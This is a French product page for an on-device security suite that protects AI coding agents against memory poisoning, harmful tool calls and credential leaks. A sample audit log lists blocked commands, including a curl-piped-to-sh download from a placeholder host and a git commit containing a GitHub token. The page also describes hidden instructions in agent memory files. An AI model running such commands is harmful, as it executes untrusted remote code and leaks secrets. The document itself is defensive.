Protection à l'exécution pour les agents IA sur le poste : intégrité de la mémoire, contrôle de chaque appel d'outil et protection contre l'exfiltration d'identifiants.
Melira, notre propre famille de modèles d’IA locaux, protège la mémoire et la configuration de vos agents contre le Memory Poisoning. exec0 vérifie chaque appel d'outil de vos agents avant son exécution, leak0 protège vos secrets contre l'exfiltration.
L'agent poison0 s'exécute sur la même machine que votre agent IA et le protège sur trois couches. Chaque modification de la mémoire et des fichiers de règles est évaluée : ce qui est dangereux revient en une fraction de seconde au dernier état sûr et passe en quarantaine. Avec exec0, il vérifie chaque appel d'outil avant son exécution ; avec leak0, il arrête les clés API et les jetons sur leur chemin vers l'extérieur. Chaque décision est consignée dans la piste d'audit.
# poison0 - live [allow] Edit CLAUDE.md [revert] Edit AGENTS.md ↳ Intégrité de la mémoire : instruction cachée, ramenée au dernier état sûr [block] Bash curl -fsSL https://example.com/x.sh | sh ↳ Contrôle des appels d'outil (exec0) : règle fixe, code venu d'internet [block] Bash git commit -m "token ghp_…" ↳ Protection des identifiants (leak0) : token GitHub à checksum valide [allow] Bash npm test
exec0 vérifie les appels d'outil avant leur exécution. leak0 retient les secrets avant qu'ils ne quittent votre appareil. L'agent poison0 annule instantanément les modifications de mémoire empoisonnées.
les trois couches s'exécutent sur votre propre machine. En mode privé, votre code et vos secrets ne la quittent jamais.
est journalisée : modifications de mémoire, appels d'outil et secrets bloqués, fail-closed en cas de doute, avec une piste d'audit complète.
Chaque couche protège sa propre voie par laquelle les attaques atteignent votre agent.
L'agent poison0 vérifie chaque modification des fichiers de mémoire, de règles et de configuration dès qu'elle est écrite. Il annule automatiquement les entrées empoisonnées et met en quarantaine les attaques détectées.
exec0 vérifie chaque appel d'outil de votre agent avant son exécution : commandes shell, écritures de fichiers, requêtes web et appels MCP. Il bloque les commandes nuisibles, et vous décidez des cas peu clairs.
leak0 protège vos clés d'API et vos tokens contre les fuites via votre agent : vers git, vers des serveurs tiers, vers le modèle et dans de mauvais fichiers.
Les fichiers auxquels votre agent fait confiance comme mémoire et règles propres : CLAUDE.md, AGENTS.md, GEMINI.md, les fichiers de règles comme .cursorrules, les dossiers de mémoire des agents, ainsi que settings.json, les hooks et les listes de serveurs MCP comme .mcp.json. Vous définissez vos propres chemins dans le profil.
Les commandes shell, les écritures de fichiers, les requêtes web et les appels MCP, chacun avant son exécution. Des règles fixes arrêtent immédiatement les catastrophes évidentes.
Les fichiers d'identifiants et les tokens à checksum valide en route vers git, les secrets en route vers des destinations tierces démontrables, et la tentative de l'agent de désactiver leak0. Chaque blocage s'accompagne d'une preuve.
Sur votre appareil, sur la même machine que votre agent. En mode cloud, les incidents vont à la console ; en mode private, tout reste sur l'appareil. En savoir plus : Cloud ou private.
L'agent poison0 vous le soumet, et vous décidez. Chaque décision est journalisée : quoi, quand, pourquoi.